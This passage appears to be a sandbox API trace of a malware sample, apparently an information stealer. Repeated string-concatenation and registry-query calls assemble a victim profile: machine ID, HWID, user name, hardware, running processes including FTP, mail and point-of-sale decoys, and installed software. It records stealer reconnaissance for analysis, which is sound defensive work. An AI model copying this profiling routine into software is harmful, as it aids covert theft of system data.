11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\n", lpString2="Microsoft Office Proofing Tools 2016 - English" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English"
[0054.963] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x1, lpData="16.0.4266.1001", lpcbData=0x1816c0*=0xf) returned 0x0
[0054.963] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English ["
[0054.963] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- 